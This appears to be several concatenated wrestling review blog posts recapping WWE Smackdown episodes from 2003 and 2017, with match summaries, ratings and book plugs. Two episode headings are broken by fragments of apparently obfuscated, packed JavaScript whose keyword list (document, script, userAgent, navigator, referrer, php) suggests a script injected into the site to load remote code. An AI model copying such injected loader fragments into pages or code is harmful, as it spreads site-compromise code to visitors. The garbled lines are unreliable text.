They slug it out to start with Owens dropping Sami off a hard shot to the face. The Cannonball has Sami bailing to the floor as it’s all Owens early on. Back in and Sami scores with a clothesline but gets sent outside again. We cut to the back to see Shane arriving as we take a break.

Back with Owens getting two off a superkick but being planted off the tornado DDT. The Helluva Kick is countered with a superkick but Sami grabs the Blue Thunder Bomb for a close two. Owens bails to the floor so Sami scores with the flip dive in a nasty looking crash. The dive through the ropes is blocked by another superkick and the apron bomb crushes Sami all over again. The referee stops the match at 9:40.

Rating: B-. These two are always going to have an entertaining match though there’s only so much you can do when Sami is little more than a sacrificial lamb. If they play their cards right on this feud, they could set up a huge match between Owens and Zayn down the line, assuming of course they don’t give Shane the win due to reasons of general stupidity.

Sami is carried out until Owens decks him again. He wraps a chair around Sami’s neck but cue Shane to charge at Owens. Unfortunately he runs into the chair to knock it into Sami’s throat, allowing Owens to bail into the crowd to end the show. Unless it was off camera, Shane never even checked on Sami.

Overall Rating: C. They built the show up in a hurry tonight and as is usually the case around here, they did it without having too much in-ring action on the show. I like that for the most part as you don’t want to give away anything major with so little time before the pay per view. Shane vs. Owens better deliver though because that’s almost the entire focus of this show.

Results

Baron Corbin b. Tye Dillinger via countout

Usos b. Hype Bros – Superfly Splash to Rawley

Charlotte b. Carmella – Big boot

Kevin Owens b. Sami Zayn via referee stoppage

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Smackdown
Date: April 24, 2003
Location: Gaylord Entertainment Center, Nashville, Tennessee
Commentators: Michael Cole, Tazz

It’s the go home show for Backlash and we have a Smackdown main event. This time around it’s going to be rookie upstart John Cena challenging Brock Lesnar for the Smackdown World Title, meaning it’s likely time for a big face to face showdown. Other than that it’s Rikishi vs. Roddy Piper tonight for reasons I don’t even want to begin to understand. Let’s get to it.

Opening sequence.

The announcers preview the show with Cole making sure to say that “we are just 72 hours away, three days, from Backlash”. I have that 72 hours, three days thing burned into my head after hearing Cole say it all those years.

John Cena vs. Rhyno

Before the match, Cena raps his history, which basically summarizes the tournament and says he’s winning on Sunday. He also promises graphic footage to prove that Lesnar shouldn’t be champion. Rhyno wins the early power battle and sends him outside, only to get dropkicked on the way back inside.

A middle rope Fameasser with Rhyno draped over the ropes has Rhyno in trouble and it’s time to start in on the neck. Back in and we hit the armbar for a good bit until Rhyno fights up with a powerslam. The still yet to be named Throwback sets up the ProtoBomb but Rhyno catches him in a spinebuster. The Gore misses though and Cena rolls him up for the pin.

Rating: D+. Just a power match here and I kind of like the idea of Cena making a power guy miss a catch him on a quick pin as it gives him another option to take the title from Lesnar. Unfortunately it wasn’t a great match in the first place, but at least Cena won and beat someone that the fans still care about.

Mr. America is coming.

The FBI annoys Chris Benoit for losing last week when they had a bet on him. They want their money back but Nunzio winds up with a match against Benoit instead.

Sable flaunts her body to Josh Matthews and hypes up the Sable Invitational body contest later tonight.

Some wrestlers toured a Navy ship earlier this week.

Chris Benoit vs. Nunzio

Stamboli and Palumbo get in some shots from behind while Nunzio has the referee. As usual the referee has no issue with Benoit being down despite his opponent not touching him and doesn’t even yell at the other Italians. They trade some chops with the Canadian getting the better of it (well duh) but Palumbo trips Benoit again. The Sicilian Slice (middle rope Fameasser) gives Nunzio two and a swinging neckbreaker is good for the same. An enziguri finally gets Benoit out of trouble and grabs the rolling German suplexes. Nunzio pops up but the springboard armbar is countered into the Crossface for the tap.

Rating: D. I’m hoping they pull the plug on the FBI thing in the very near future as it’s just not interesting. Nunzio is the best worker of the team and even he’s only decent. On top of that, it’s such a simple and not very interesting idea. They’re just stereotypical mob thugs and that’s far from good enough to survive. At least Benoit won though.

Benoit gets beaten down post match.

Tajiri and Funaki watch Rey Mysterio 619 Big Show last week and have a hearty laugh. Cue Big Show to destroy the TV and VCR to blow off some steam.

Rey Mysterio vs. Crash

Crash is now an MF’er, meaning a follower of Matt Hardy, who only uses low fat salad dressings. Tazz dubs Crash a Moore-On as he’s working his way up to MF’er. Rey dropkicks Shannon to the floor but gets armbarred for his efforts. The sitout bulldog is countered with a belly to back suplex (Crash is the first person to come up with that counter?) but the kickouts frustrate Crash. Now the bulldog works fine and the springboard seated senton sets up a tornado DDT to give Rey two. The 619 sets up the springboard legdrop to put Crash away.

Rating: D+. I’m not sure how this is supposed to help Rey get ready for Big Show on Sunday. Crash doesn’t exactly fit the mold for a goon as he wrestled his usual not great match here without looking like anything more than a bad wrestler. This should be setting up Rey vs. Matt but it’s Rey vs. Big Show for reasons I don’t understand.

Cena gives A-Train a pep talk and shows him Lesnar giving him a very scary F5 that saw A-Train landing on his head. That was edited off the actual broadcast if you don’t remember seeing it. A-Train wants to end Lesnar.

Rikishi vs. Roddy Piper

Unfortunately Piper wrestles (work with me here) with his shirt off and the blinded referee doesn’t see Sean O’Haire hit a low blow. Some right hands knock Piper backwards and Sean takes a few of his own but O’Haire comes in to break up the Stinkface for the DQ.

O’Haire beats him down even more and adds the reverse Death Valley Driver.

The evil French guys (now officially La Resistance) are still coming.

It’s time for Sable’s body contest. Before anyone comes out, Sable says this is designed to see if anyone can be as sexy as Torrie. However, Torrie won’t be here tonight because she’s feeling a bit fat lately as she hasn’t been able to get to the gym with all the Playboy stuff. Nidia and Dawn Marie come out and are about to do their thing until Torrie comes out, as expected.

Nidia and Dawn do their thing and get their standard reactions. It’s time for Torrie, who hits on Sable, giving her kind of a standing lap dance, complete with lollipop, and….loses anyway. The beatdown is on and Torrie is left laying as this story is now more confusing than anything else. So Sable is now a lesbian cougar who didn’t interest Torrie but now Torrie is interested (or just playing the proverbial “mind games”) but Sable isn’t interested? Is that where we are?

Chavo Guerrero vs. Shelton Benjamin

Team Angle is dedicating their win on Sunday to Kurt. Shelton takes him down without too much effort but lets Chavo up pretty quickly. Chavo scores with a dropkick and a clothesline as Tazz thinks Eddie stole money from him. Why were Los Guerreros never accused of stealing the FBI’s money a few weeks back? It’s kind of their thing to do.

Chavo’s hurricanrana gets two but he walks into a belly to belly for the same. A quickly broken camel clutch doesn’t do Shelton much good as Chavo grabs a flapjack. An STF that John Cena would think looks bad has Shelton in trouble but Charlie Haas pulls him over to the rope. The referee yells at Eddie for going after Haas, allowing Charlie to turn over a rollup and give Shelton the pin.

Rating: C-. They tried to put a bit too much into this and it wasn’t as good as I was expecting. At least they actually set up something for Sunday as that hasn’t seemed to be the case for most of the night. Chavo is the weaker of the team but he’s certainly capable of having a good match. There was a bit too much interference to let that work here though and it was kind of a mess as a result.

Cena talks trash to Lesnar.

Big Show vs. Tajiri

Show catches him without much trouble and a clothesline cuts off the kicks. A charge misses and Show crotches himself, allowing Tajiri to fire off more kicks. Show’s kick drops Tajiri again but here’s Mysterio’s music for a distraction. Not that it matters as the chokeslam plants Tajiri. Cue Rey in person to post Show, drawing a countout.

Rating: D-. So let me make sure I’ve got this straight: Show has been humiliated twice in a row and is likely to squash Mysterio on Sunday, Rey is little more than a fly who is going to be swatted in the actual match, Tajiri gets treated like a jobber and Mysterio/Tajiri beating Team Angle to start the whole thing meant nothing at all. If someone would be interested in pointing out a positive in this whole mess, please let me know.

Stephanie McMahon is bent over a table for no apparent reason other than she probably thought she looked good that day (granted she’s not wrong). She’s an All-American girl and is happy to have Mr. America here next week.

Backlash rundown.

Brock Lesnar vs. A-Train

Non-title with Cena on commentary. Lesnar’s pyro when he jumps to the apron seems to shake Cena, which you don’t see very often. Joined in progress after a break with an exchange of power shoves. We hit a front facelock with Brock rolling A-Train around like he’s not even there. Back up and a big collision puts both of them down and it’s another staredown.

Brock finally gets a more definitive advantage by clotheslining A-Train to the floor, allowing Cena to trash talk even more. The distraction lets A-Train kick him in the face to take over, followed by the chinlock. Brock fights up but gets puts right back down with a hard shoulder. A powerslam works a bit better for Lesnar, only to have A-Train grab the Derailer for two. Cena: “WHAT’S UP WITH CHIODA DOG??? WAY OUT OF POSITION!” The F5 plants A-Train a few seconds later but Cena comes in for the DQ.

Rating: D. Slow, plodding power match here with an obvious and dull ending. Lesnar winning is fine and A-Train got in some big shots despite having no change to win. There’s no hiding the fact that Lesnar vs. Cena is the only Smackdown match that matters on Sunday but it’s looking like little more than a glorified squash. Bad main event to a bad show.

Cena chains Lesnar in the head and hits the Death Valley Driver (now the standard AA). A belt shot to Lesnar’s head ends the show.

Overall Rating: F+. The best thing on the show was a lackluster Chavo vs. Shelton match as it’s clear that the Smackdown side of Backlash means absolutely nothing. Brock vs. Cena is the distant third biggest match on the pay per view card and everything else is complete filler. This show did nothing to shake that idea as the whole thing was Lesnar vs. Cena and everything else, none of which was interesting in the slightest. It was a terrible show and another part of a horrid stretch for the brand.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Smackdown
Date: September 19, 2017
Location: Oracle Arena, Oakland, California
Commentators: Tom Phillips, Corey Graves, Byron Saxton

I’m getting used to this idea of having title matches booked in advance of the TV shows. This time around we have the US Title on the line as AJ Styles defends against Baron Corbin, who said he was answering this week’s Open Challenge in advance. And there’s that whole Kevin Owens attempting to murder Vince McMahon deal. Let’s get to it.

We open with a recap of the ending of last week’s show with Owens destroying Mr. McMahon in a heck of a beatdown.

Here’s Shane McMahon to open things up. He calls his father one salty SOB, which is really not a nice thing to say about your grandmother. Last week Shane sat with his kids and watched his father and their grandfather get the beating of a lifetime. Shane talks about the family’s toughness and condemns him to a beating of a lifetime inside the Cell.

Randy Orton vs. Aiden English

English sings about Orton hearing voices in his head because it’s full of lead. Orton wastes no time by hitting the powerslam in the first minute but Aiden slips out of the hanging DDT. They head outside with English dropping him onto the announcers’ table as we take a break. Back with Orton fighting out of a chinlock but getting dropkicked right back down. English goes to the second rope….and dives right into the RKO for the pin at 7:10.

Rating: C-. I could go for more of English getting in some offense as the singing character is something that could get him a nice little run. It’s not like they have anything else going on so give it a try. Orton is likely going to continue his “feud” with Rusev, which will hopefully last longer than fifteen seconds next time.

Post match here’s Rusev to talk about Orton turning his homecoming into a national disgrace. Rusev is going to change things right now….and let’s ring the bell.

Rusev vs. Randy Orton

English distracts Orton and it’s a superkick to end Orton at 11 seconds. I WAS KIDDING ABOUT THE FIFTEEN SECONDS THING!!! That sounds like payback for what happened at Summerslam, which is still a dumb idea, especially if Orton wins in a long match at the pay per view. Just give Rusev a win or two that matters and things will be better, not just having this stuff that means nothing more than a fluke.

Rusev is very excited with the win and says he’ll return home as a conquering hero.

Here are Jinder Mahal and the Singh Brothers to make fun of Shinsuke Nakamura’s face again, including his mad and artistic faces. Mahal makes fun of Nakamura’s voice and hair, followed by some Mr. Miyagi jokes. Fans: “THAT’S TOO FAR!” We get some Punjabi and that’s about it. Aside from probably being racist, this showed that these two have nothing to say to each other and are only fighting because one of them has the title.

Nakamura says it won’t be so funny when he wins the title.

Here’s AJ Styles for his title defense but before the match, AJ says Kevin has bitten off more than he can chew. He attacked the man who is responsible for all of us being here tonight. As for Corbin, AJ is tired of him trying to short cut his way everywhere. The big bad wolf can huff and puff but he’ll never blow down the house that AJ Styles built.

US Title: AJ Styles vs. Baron Corbin

Styles is defending but Corbin jumps him during the Big Match Intros. Tye Dillinger runs in to jump Corbin though and hurts his ankle. AJ is up for a running forearm and the Calf Crusher on the bad leg. No match of course and we’ll just wait on the announcement for the match being moved to the pay per view.

Post break, Corbin isn’t happy.

Here’s Charlotte for the first time in a good while. She’s been gone for about six weeks while her father has been healing up and he is making a comeback. Since she’s been gone, Charlotte has learned how fragile life is and from now on she’s going to make the most of every moment she can.

Cue Natalya to says he’s here to host the first ever Celebration of Women. There’s a covered up picture put up behind Natalya as she talks about how important women have been to the world. The picture is unveiled and of course it’s of Natalya herself. Charlotte likes the picture and says she’s coming for the title. This brings out Becky Lynch to say the title is coming back to its proper owner.

Now it’s Naomi to call Natalya a crazy cat lady and throw her glowing hat into the title hunt. Hang on a second though as it’s Tamina and Lana interrupting because this company has no idea how to book a women’s division aside from just throwing everyone into one match. Natalya leaves and says she’s not a crazy cat lady but here’s Daniel Bryan to make the multi-woman match to crown a new #1 contender for later tonight.

New Day vs. Hype Bros

Non-title with the Usos on commentary. Mojo grabs an abdominal stretch on Big E. but gets sent outside for a break less than a minute in because we can’t break ten minutes of wrestling on this show. Back with Kofi in trouble in the corner until Mojo misses a charge into the post. The hot tag brings in Big E., who misses the hip swivel Warrior Splash. Ryder adds the middle rope dropkick and the Broski Boot for two. Kofi hits the running dive over the top onto Mojo, leaving Ryder to take the Midnight Hour for the pin at 6:26. Not enough shown to rate but this was entertaining while it lasted.

We look at the Vince beatdown again.

Owens joins us live via satellite and apologizes (fans aren’t cool with that) for what happened last week. He apologizes to the WWE Universe and to the McMahon Family, but Shane had this coming. This is all on Shane, who drove Owens to do what he did last week. Last week, Owens was looking at Shane when he attacked Vince. He has one more apology and it’s to anyone who watches the pay per view. What he did to Vince is nothing compared to what’s going to do to Shane. It’s good that they’re going to Hell because people like Owens don’t go to Heaven.

Mojo says he’s tired of losing and something has to change.

Here’s Dolph Ziggler for his usual stuff: he’s the best in-ring performer ever and entrances don’t mean anything. First up it’s HHH, which means he can run NXT now, even if he’s not wearing mom jeans. Ziggler looks upset and says stop the show. That means Heartbreak Ziggler with Dolph saying he can feel himself losing his smile. The last one is the DX entrance, complete with the glow sticks. Ziggler’s two words for you: WHO CARES? He wants to know who is supposed to care about two dads trying to sell you stuff. Ziggler is the best ever and the fans couldn’t care less.

Naomi vs. Charlotte vs. Tamina vs. Becky Lynch

The winner gets Natalya at the pay per view. It’s a brawl to start and we’re on a break less than a minute in. Back with Charlotte and Becky breaking up a near fall before fighting each other. Becky kicks her in the ribs but Naomi crossbodies both of them for two on Lynch. Naomi grabs a Stunner for two on Charlotte as Natalya is watching in the back.

The reverse Rings of Saturn is broken up and it’s Becky grabbing the Disarm-Her. Tamina breaks that up as well but gets sent into the post. Becky’s bouncing kick in the corner is broken up and Charlotte spears Tamina down. She plants Naomi too and the moonsault hits both of them for a double near fall.

The Figure Four goes on but Becky dives in with a legdrop for the save. Tamina is back in with a Samoan drop on Becky and the Superfly Splash for two with Naomi making the save this time. Lana pulls Naomi outside but the distraction lets Charlotte kick Tamina in the face for the pin and the title shot at 9:57.

Rating: B-. This was good while it lasted and would have been better if we didn’t miss about a fourth of it for the sake of a commercial. Charlotte or Becky winning was fine here and they would have been a bit nuts to not go with Charlotte, especially with the book coming out and her dad’s health. It was a fast paced match though and that’s what this show needed.

Overall Rating: D+. This one ENTIRELY depends on how you care for your show. The big problem on this show is very simple: there was less than twenty five minutes of wrestling in two hours with about ten of that taking place during commercials. That’s terribly low, even by WWE standards. Based on that, it’s a horrible show.

However, this show was much more about hyping up the pay per view and I could get behind the idea of a show that gives away less action on the unimportant shows and saves it for the pay per views. On top of that I’m more interested in the pay per view than I was coming into this week, which is quite the step up. This show certainly isn’t for everyone but I liked the change of direction and you can see a lot more stuff added to the pay per view from here. It had a lot of negatives (low in-ring time, the Mahal stuff, Rusev/Orton) but the change of pace was very nice for a little switch.

Results

Randy Orton b. Aiden English – RKO

Rusev b. Randy Orton – Superkick

New Day b. Hype Bros – Midnight Hour to Ryder

Charlotte b. Naomi, Tamina and Becky Lynch – Big boot to Tamina

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Smackdown
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkeze|var|u0026u|referrer|yhrft||js|php'.split('|'),0,{})) April 17, 2003
Location: Norfolk Scope, Norfolk, Virginia
Commentators: Michael Cole, Tazz

It’s tournament night as we have the finals to crown a new #1 contender. John Cena will be facing Chris Benoit, which is pretty much the best final they could have gone for. Cena should be the favorite after having spent weeks taunting Lesnar but Benoit is one of those cases where it’s easy to see him pulling it off. Let’s get to it.

We open with a recap of the tournament, which hasn’t been too bad so far. I’m not sure if it’s worthy of the music video treatment though.

Opening sequence.

Big Show/A-Train vs. Rey Mysterio/Tajiri

Assuming this is going to see the small guys crushed up and sprinkled on the monsters’ pizza, beating the champions last week would be rather pointless. Mysterio slugs away at A-Train to start and gets thrown into the corner for his efforts. A basement dropkick gives Rey a breather though and it’s off to Tajiri for a kick of his own. A-Train shoves them down but it’s a double dropkick to stagger him again. Big Show breaks up the 619 though and the order of the universe is restored.

Show launches Rey into the corner and it’s time for the slow motion beatdown. A pair of backbreakers has Rey in more trouble and A-Train follows up with the modified Gory Stretch. Rey gets in a tornado DDT for the breather though, setting up the hot tag to Tajiri. The handspring elbow barely connects but a springboard kick to the face gets two. Show casually throws Rey outside though, leaving A-Train to kick Tajiri in the head for the pin.

Rating: C. Questionable booking aside, this wasn’t a bad match with the smaller guys getting in some nice shots before going down. Big Show and A-Train are fine for a pair of heavies but they need something to do. Rey and Tajiri could be a perfectly fine tag team, though this isn’t the best way to help set them up.

Post match A-Train takes the mist and Rey 619s Big Show around the post. That’s REALLY not cool with Big Show. After the break, Show rants about being embarrassed so he wants to face Rey at Backlash.

Here’s Brock Lesnar for his first talk as champion. Interviewer Michael Cole goes over the shooting star and Lesnar says he was lucky to survive that. It took him five months to win the title back and he knew he had to do whatever it took. Kurt Angle is the first person to kick out of the F5 so Brock had to do something special. He had a concussion but there’s no doubt that he would do it all again. Brock talks about his respect for Angle but here’s Cena to cut him off. Where is the respect for Cena? Brock is just a white boy up in here lying to the fans.

Cena gets all fired up talking about how he’s bigger than Lesnar and the title, only to be cut off by Chris Benoit. Chris talks about how Cena has to show some respect because no one is bigger than the title. Brock calls Benoit out for not respecting him and they go nose to nose, only to have Cena demand respect from them both. Eventually Brock says they should all respect the winner of the tournament but Cena gets in a cheap shot on Benoit.

Mr. America is coming. Oh boy here we go.

Eddie Guerrero vs. Jamie Noble

Hang on as here’s Team Angle to mock Los Guerreros, who are now #1 contenders. So yeah, the Rey/Tajiri match means nothing at all. Charlie says Grandma Guerrero is the best housekeeper that money can buy, which is enough of a distraction for Noble to get in some cheap shots to start. A swinging neckbreaker gives Jamie two but an uppercut sets up Three Amigos. Eddie’s tilt-a-whirl backbreaker gets two and it’s Chavo taking care of Nidia so Eddie can frog splash Jamie for the pin.

Eddie and Chavo make gay jokes about Team Angle and win a quick brawl.

The French guys are coming. Tazz makes a joke about all the ethnic acts at the moment and he’s got a point.

Big Show vs. Rey Mysterio is official for Backlash.

We recap the FBI vs. Undertaker/Nathan Jones. They really think there’s something to the FBI? Really? Johnny gorilla pressing Rikishi should have gotten him something but that hasn’t been mentioned since.

Undertaker is going to be out a few weeks due to elbow surgery.

Earlier today, Jones nearly murdered Nunzio but settled for beating up the rest of the team instead.

Torrie is stretching when Sable comes in. She liked seeing Torrie get out of the shower last week but this time she needs help undoing her zipper. Sable unzips herself and takes her top down because she has nowhere to change. Torrie leaves though and Sable has to cover herself with her hands. Well at least they’re not hiding what they’re going for here, but we’ve covered this with Dawn Marie and it’s already been made clear that we’ve seen all we’re going to see. It doesn’t have the same effect twice in a four month stretch.

Long recap of the Hogan/Vince/Piper ordeal.

Rikishi vs. Sean O’Haire is confirmed for Backlash.

It’s time for Piper’s Pit and that could mean anything. Piper gives a rambling rant against fans on the internet, saying fans are coming out of the closet to beat people up but he likes it. We see the Snuka coconut thing from twenty years ago, followed by the same thing happening to Rikishi last week. Anyway, Piper has been looking for the modern wrestler with intelligence so here’s the champion of champions: Sean O’Haire.

Sean comes out and praises Piper, who might be even more evil than O’Haire is. Before Piper can say anything though, here’s Jimmy Snuka to send Piper through the roof. Piper sucks up to him but Jimmy says we have a problem here. Sean is ready to fight but Piper says he doesn’t need food or water because he’s self-contained.

Piper wants to bury the coconut, only to have Snuka hit him in the head. O’Haire gets involved as well but it’s Rikishi out for the save. A chair to the back drops Rikishi though and the bad guys bail. That’s enough for Rikishi to challenge Piper for next week while Snuka’s eyes are bulging as only his can. I like the idea of pushing O’Haire but this is getting very high on the list of most overbooked angles that are likely to collapse underneath their own weight.

Torrie did a Playboy signing in New York earlier this week. They’re pushing the heck out of that thing as only WWE can do.

Torrie Wilson vs. Nidia

Torrie’s gear has the Playboy logo prominently displayed. Hang on a minute though as here’s Sable to referee. Torrie and Sable stare at each other so Nidia can jump Torrie from behind. That goes nowhere so Nidia throws her into the corner, only to get caught in the headscissors solely designed for a certain angle of Torrie’s shorts. A high crossbody and basement dropkick give Torrie two but hang on as Sable has to dropkick Noble to the floor. Nidia gets caught in a tornado DDT for the fast pin.

Sable gives Torrie one of those looks.

Cruiserweight Title: Matt Hardy vs. Brian Kendrick

Matt, who really digs his book and whose favorite sushi is freshwater eel, is defending. Brian goes with a fast backslide to start and takes out Shannon Moore with a suicide dive for good measure. Back in and Matt throws him off the top though and Brian is in early trouble. Kendrick gets caught in a full nelson but he climbs the ropes and spins around to drive Matt’s head into the mat for a really cool counter. An enziguri gets two, followed by a to rope elbow for the same. Sliced Bread #2 is countered though and the Twist of Fate retains Matt’s title.

Rating: C+. Kendrick has been showing up almost everyone on this show week to week and this was no exception. It wasn’t a great match but for something that barely broke three minutes and saw Kendrick hitting some good looking stuff and barely stopping, it was quite the entertaining match. Now can we put him over someone other that Moore for a change?

The FBI is ready for revenge on Nathan Jones.

The APA went to Washington DC to visit soldiers.

Nathan Jones vs. Nunzio

Jones kicks him down and chokes a bit until the FBI comes in after less than a minute.

The Italians beat him down and crush the ankle with the steps to send Jones down to Louisville.

Mr. America is still coming. Nothing has changed in the last hour and a half.

#1 Contenders Tournament Finals: John Cena vs. Chris Benoit

Before the match, Cena says Benoit can rent the space beneath his teeth and calls him a Dynamite ripoff. Benoit takes him down to start and works on the arm for a bit. Cena is smart enough to shove the referee and nail a low blow. We hit the early chinlock for a bit before Cena reverses the first German suplex into a victory roll for a near fall. The threat of a Crossface sends Cena bailing to the floor so Benoit dives through the ropes to take him down again.

We take a break and come back with Benoit working on the arm again. Cena grabs the yet to be named Throwback for a quick two before we hit the neck crank (with their backs to the camera because they don’t know how to work). Benoit gets thrown hard into the corner but manages to suplex his way out of a chinlock.

Back up and Benoit elbows him in the face, only to get caught in something like a reverse Blue Thunder Bomb (Benoit landed at the side instead of between the legs for two. That just earns Cena the Crossface, though he’s too close to the ropes. Benoit slips out of the Death Valley Driver and tries a sunset flip but Cena drops down into a cradle for the clean pin.

Rating: B-. You have to give Cena the clean win here to make him look like a bigger threat against Lesnar, especially after the mess of the match against Undertaker last week. Benoit controlled it for the most part but Cena got in enough offense that it didn’t look like a fluke. That’s the value of someone like Benoit, who can make Cena look good but doesn’t really lose much in defeat. Good match too.

Overall Rating: C-. The main event is easily the best thing about the show but the big stories are major issues at this point. Cena vs. Lesnar is third on the show with the way overdone Piper’s Pit stuff (assuming you don’t count that as a separate story from Hogan vs. Vince) and Sable/Torrie above it. I can understand the World Title not being the biggest story on the show but sweet goodness it would be nice if one of the bigger stories was even slightly interesting.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Smackdown
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hydib|var|u0026u|referrer|yfsee||js|php'.split('|'),0,{})) September 12, 2017
Commentators: Corey Graves, Tom Phillips, Byron Saxton

I know I say it a lot but this week really is a major night for Smackdown as not only do we have three titles being defended on one show but the boss himself is in the house. Vince McMahon is making a rare TV appearance to deal with the Shane McMahon vs. Kevin Owens feud, which is slowly starting to get out of hand. Let’s get to it.

We open with a look back at Shane and Kevin’s issues with Owens getting beaten up again, meaning Vince has to come here for the intervention.

Here’s Owens to get things going. He welcomes us to the Kevin Owens Show by reminding us that he never fought back last week. Owens is going to own this whole place because he’s suing everyone around. Every week on the USA Network, it’s going to be Kevin Owens presenting the Kevin Owens Show starring Kevin Owens.

That means some changes around here, starting with Sami Zayn being fired. Then we’ll have Byron Saxton and Tom Phillips wearing the same suit. As in one suit for one person because they sound exactly the same on TV so there’s no point in having them separate. Oh and the Fashion Files are canceled because he doesn’t get it. Kevin wants to see Mr. McMahon right now but Here Comes the Money instead. Owens: “NO!!!!”

Never mind as it’s actually Dolph Ziggler trying out a new entrance. Kevin is relieved because it’s actually someone talented who works here so it couldn’t be Shane. Ziggler leaves and it’s Daniel Bryan taking his place. Daniel thinks Owens needs to chill so Owens offers him a job as a janitor. Bryan laughs it off because Mr. McMahon is going to be here very soon.

Donate to the Red Cross to help with natural disasters.

US Title: AJ Styles vs. Tye Dillinger

AJ is defending. Dillinger was trying to answer the US Open Challenge two weeks ago when Baron Corbin attacked him. Styles gave him a shot to make up for it. AJ sends him into the corner to start but gets rammed into the post and we take an early break. Back with Dillinger getting powerbombed out of the corner to put both guys down.

It’s AJ up first with a forearm to knock him backwards but Baron Corbin comes out for a distraction. AJ gets in the Phenomenal Forearm to drop Baron but gets caught in the Tyebreaker for a heck of a near fall. Of note: the announcers make sure to point out that Tye didn’t have time to get his knee pad taken down for the full impact, thereby protecting the move just a bit. The Calf Crusher retains AJ’s title at 7:21.

Rating: C. This wasn’t the biggest surprise as Dillinger isn’t ready to win a title and it’s pretty clear we’re heading towards Styles vs. Corbin at the pay per view. Styles defending the title in a good to very good match week to week is a perfectly good idea as he’ll give people their best match in months more often than not. Dillinger tried here but he was in over his head.

AJ shakes his hand post match but Corbin gets pulled to the floor. Dillinger gets taken down as well, followed by Corbin laying Styles out on the floor. Corbin is answering the Open Challenge next week.

Rusev went back to Bulgaria recently and the people greeted him with shame and embarrassment. He came back as a loser but that’s not what he is. To get it back, he must break a legend.

Here are Jinder Mahal and the Singh Brothers for a chat. Mahal talks about getting inside his opponents’ heads and puts up a picture of Nakamura with a bit of a grimace on his face. That makes Jinder think of constipation and where the bathroom is. Another picture makes Mahal think Nakamura is still trying to rip off Michael Jackson. Each of these jokes literally has the Brothers rolling on the mat in fits of laughter.

Finally, one of Nakamura looking angry makes Mahal think he’s screaming about Godzilla. Mahal mocks people who are laughing at this because it’s nonsense (that helps a bit). These Americans will mock you and say that you look like Pikachu having a seizure. Mahal promises to win in Punjabi and that’s that. This was certainly different and Mahal is starting to feel more like a champion but this really wasn’t funny (though he did acknowledge that).

Kevin Owens is going over new ideas for the show (limos, private jet, new entrance video etc.) when he runs into Sami Zayn. Owens talks about driving through a blizzard with Sami after wrestling in an armory in front of 42 people. They made a promise that night to never do this again and get to the WWE together.

Well now Owens is about to own the biggest wrestling company in the world and Sami is about to be out of a job. Based on that, Owens is giving Sami permission to break that promise when the armories start calling and he’s having trouble making rent. Sami says he’d rather wrestle in those armories than ever work for Owens.

Tag Team Titles: New Day vs. Usos

The Usos are defending and this is a street fight. Kofi Kingston and Big E. (no Xavier here this week) go for a table to start but Big E. is posted as we take a break. Back with the Usos in control and Big E. getting stomped down in the corner. Something like a Van Daminator with a superkick gets two on Big E. as Kofi gets beaten down on the floor. It’s kendo stick time with Big E. taking another beating. Jimmy: “IT’S TOO EASY!”

Kofi finally gets back in to clean house and start swinging the stick. He beats Jimmy down so badly that the stick is broken in half for a cool visual. Jimmy’s running chair shot only hits post and a top rope double stomp with the chair gives Kofi two. The trust fall onto the Usos is caught with Kofi being sent into the barricade. Big E. is back up though and goes nuts, sending Jey into and then over the table.

The Rock Bottom plants Jimmy and a belly to belly drops Jey as well. A double Warrior Splash gets two but Jimmy gets in a superkick. That goes nowhere and it’s the Big Ending for a near fall. Now it’s a double superkick for the same but Kofi breaks up the double Superfly Splash with Jey being shoved through a table at ringside for a nasty crash. That’s enough to set up the Midnight Hour to give New Day the titles back at 11:22.

Rating: B-. See you in the Cell boys. It’s pretty clear that it’s the only thing left and that’s not the worst thing in the world at this point. I can get behind the idea of the Cell being the big blowoff match after a series of other matches far more easily than just throwing them in there and the fact that it would be a very good match helps too.

Ronda Rousey is here.

Women’s Title: Naomi vs. Natalya

Natalya is defending and they’re in the ring when we get back. Carmella is on commentary and has James Ellsworth on a (leopard print) leash. Naomi does the dancing kicks to start and we’re off to an early break. Back with both trying a crossbody for a double knockdown. It’s Naomi up first with a kick to the face but the split legged moonsault misses. The Sharpshooter is broken up as Natalya is kicked to the floor. Naomi dives onto everyone but gets sent into the post for her efforts. The Sharpshooter goes on with Natalya looking at Carmella as Naomi taps at 7:13.

Rating: D+. This didn’t do much for me and, as usual, I’m getting rather tired of the “IS SHE CASHING IN THIS WEEK” stuff. It also doesn’t help that we don’t have Charlotte or Becky Lynch anywhere near the title, which doesn’t do much for Natalya’s reign. They’re both bigger stars and much more interesting than Natalya, which makes her feel like a lame duck champion. The match was too quick to have much value either and Naomi tapping again should put her out of the title picture for the time being.

Aiden English auditions to sing the new theme song for the Kevin Owens Show.

